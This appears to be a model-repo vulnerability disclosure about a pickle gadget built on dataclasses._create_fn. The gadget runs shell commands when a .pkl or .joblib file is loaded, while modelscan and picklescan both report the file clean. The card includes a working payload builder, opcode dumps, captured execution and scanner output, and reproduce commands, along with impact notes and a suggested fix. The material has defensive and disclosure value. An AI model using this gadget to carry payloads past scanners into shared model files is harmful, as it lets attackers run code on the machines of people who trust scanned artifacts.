YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
dataclasses._create_fn reduce gadget β arbitrary code execution in .pkl/.joblib while both modelscan and picklescan report CLEAN
Class: Pickle deserialization RCE via scanner allow/deny-list bypass (new, unlisted GLOBAL gadget) Targets:
modelscan0.8.8 (modelscan.scanners.PickleUnsafeOpScan)picklescan1.0.5 Environment: CPython 3.12.13, Linux x86_64
Summary
Both modelscan and picklescan decide whether a pickle is malicious by matching
the (module, name) pair of every GLOBAL / STACK_GLOBAL opcode against
hand-maintained allow/deny lists. Neither list contains the CPython standard-library
helper dataclasses._create_fn.
dataclasses._create_fn(name, args, body) is the internal helper the @dataclass
machinery uses to synthesize methods such as __init__. It builds a function
source string and both defines AND invokes it via exec. Because the caller-supplied
args list is spliced verbatim into the generated inner function's signature, a
default-argument expression like a='__import__("os").system(cmd)' is evaluated at
def-time during that exec. The attacker command travels entirely as a pickle
string constant; the only GLOBAL opcode present is (dataclasses, _create_fn), which
is unknown to modelscan (no issue at all) and merely "Suspicious" (not Dangerous)
to picklescan. Both tools therefore exit 0 and report the file clean, while
pickle.load() runs an arbitrary shell command.
Root cause
The gadget (CPython Lib/dataclasses.py, 3.12)
def _create_fn(name, args, body, *, globals=None, locals=None,
return_type=MISSING):
...
args = ','.join(args)
body = '\n'.join(f' {b}' for b in body)
txt = f' def {name}({args}){return_annotation}:\n{body}'
local_vars = ', '.join(locals.keys())
txt = f"def __create_fn__({local_vars}):\n{txt}\n return {name}"
ns = {}
exec(txt, globals, ns) # <-- inner def is created here
return ns['__create_fn__'](**locals) # <-- and invoked here
Supplying args = ['a=__import__("os").system("...")'] produces source equivalent to:
def __create_fn__():
def f(a=__import__("os").system("touch /tmp/pwned_dataclass_createfn; id > /tmp/pwned_dataclass_createfn.out 2>&1")):
pass
return f
The default value of parameter a is evaluated when def f(...) executes inside
exec(txt, ...), giving arbitrary code execution with no eval/exec/os/system
global ever appearing in the pickle stream.
Why the scanners miss it
modelscan 0.8.8 β its
unsafe_globalsdenylist (CRITICAL: builtinseval/exec/compile/getattr/open/breakpoint/__import__/apply, plusrunpy/os/nt/posix/socket/subprocess/sys/pty/pickle/bdb/pdb/shutil/asyncio*,operator.attrgetter; HIGH:webbrowser/httplib/requests.api/aiohttp.client) does not containdataclasses. No rule fires β "No issues found", exit0.picklescan 1.0.5 β its
_unsafe_globalsdenylist (a large set includingcProfile/timeit/pydoc/runpy/pdb/bdb/code/profile/trace/ctypes/functools.partial/ logging.FileHandler/types.CodeType/operator[attrgetter,itemgetter,methodcaller]β¦) also does not containdataclasses. Any unknown global is classified only as a "Suspicious global", not a "Dangerous global" β soInfected files: 0and exit0.
Proof of Concept
gen.py (builder):
import pickle
MARKER = "/tmp/pwned_dataclass_createfn"
class Evil:
def __reduce__(self):
import dataclasses
payload = f'a=__import__("os").system("touch {MARKER}; id > {MARKER}.out 2>&1")'
return (dataclasses._create_fn, ("f", [payload], ["pass"]))
with open("evil_dataclass.pkl", "wb") as f:
f.write(pickle.dumps(Evil(), protocol=4))
The reduce tuple is:
(dataclasses._create_fn, ("f", ['a=__import__("os").system("touch /tmp/pwned_dataclass_createfn; id > /tmp/pwned_dataclass_createfn.out 2>&1")'], ["pass"]))
GLOBAL opcodes in evil_dataclass.pkl (only one global β the command rides as data):
SHORT_BINUNICODE 'dataclasses'
SHORT_BINUNICODE '_create_fn'
STACK_GLOBAL None
SHORT_BINUNICODE 'f'
SHORT_BINUNICODE 'a=__import__("os").system("touch /tmp/pwned_dataclass_createfn; id > /tmp/pwned_dataclass_createfn.out 2>&1")'
SHORT_BINUNICODE 'pass'
Files in this repo:
gen.pyβ builder for both payloadsevil_dataclass.pklβ 174 B malicious payloadcontrol_os.pklβ 81 B negative control (os.systemreduce)
Captured evidence (verbatim)
Execution β pickle.load("evil_dataclass.pkl"), CPython 3.12.13
load_exit=0
-rw-rw-r-- 1 kali kali 0 Jul 16 14:32 /tmp/pwned_dataclass_createfn
-rw-rw-r-- 1 kali kali 229 Jul 16 14:32 /tmp/pwned_dataclass_createfn.out
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
EVIL β modelscan 0.8.8 (exit 0)
Scanning .../evil_dataclass.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
modelscan_exit=0
EVIL β picklescan 1.0.5 (exit 0)
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 1
Dangerous globals: 0
picklescan_exit=0
NEGATIVE CONTROL β control_os.pkl = os.system reduce (both scanners fire, both exit 1)
modelscan 0.8.8:
Total Issues: 1
Total Issues By Severity:
- CRITICAL: 1
--- CRITICAL ---
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
modelscan_exit=1
picklescan 1.0.5:
.../control_os.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1
picklescan_exit=1
The negative control is flagged CRITICAL/Dangerous by both scanners, proving the
tools are installed and functioning correctly and that the bypass is specific to the
unlisted dataclasses._create_fn gadget β not a broken/misconfigured scan.
Impact
Any workflow that "scans then loads" (Hugging Face Hub scanning, modelscan in CI,
picklescan pre-load hooks, joblib model loaders) treats a dataclasses._create_fn
payload as safe and then executes it. Result: arbitrary command / code execution on the
consumer's machine from an untrusted .pkl / .joblib artifact, defeating the exact
control the scanners are meant to provide.
Suggested fix
Add dataclasses._create_fn (and, defensively, the whole dataclasses internal-helper
surface, e.g. _create_fn, _process_class) to modelscan's unsafe_globals and to
picklescan's _unsafe_globals Dangerous set. More robustly, treat any stdlib helper
that calls exec/compile with caller-controlled source as dangerous.
Dedup / novelty
- No CVE currently assigned to
dataclasses._create_fnas a pickle gadget; not present in either scanner's denylist as of the versions tested. - Distinct from all previously reported scanner-bypass gadgets in this research line:
marshal.loads+FunctionType+operator.call,logging.config.dictConfig,cProfile.run/timeit,pydoc.pipepager,posix.spawnv_passfds, int-radix, legacy multipickle, memo-divergence, and the joblib/numpy variants. - Mechanism is novel: a stdlib code-generation helper that both defines and invokes a
function, weaponized purely through a default-argument expression carried as pickle
string data β no
eval/exec/osglobal in the stream.
Reproduce
python gen.py # regenerates evil_dataclass.pkl + control_os.pkl (CPython 3.12)
modelscan -p evil_dataclass.pkl # -> No issues found, exit 0
picklescan -p evil_dataclass.pkl # -> Infected files: 0, exit 0
modelscan -p control_os.pkl # -> CRITICAL posix system, exit 1
picklescan -p control_os.pkl # -> Dangerous globals: 1, exit 1
python -c "import pickle; pickle.load(open('evil_dataclass.pkl','rb'))" # -> /tmp/pwned_dataclass_createfn created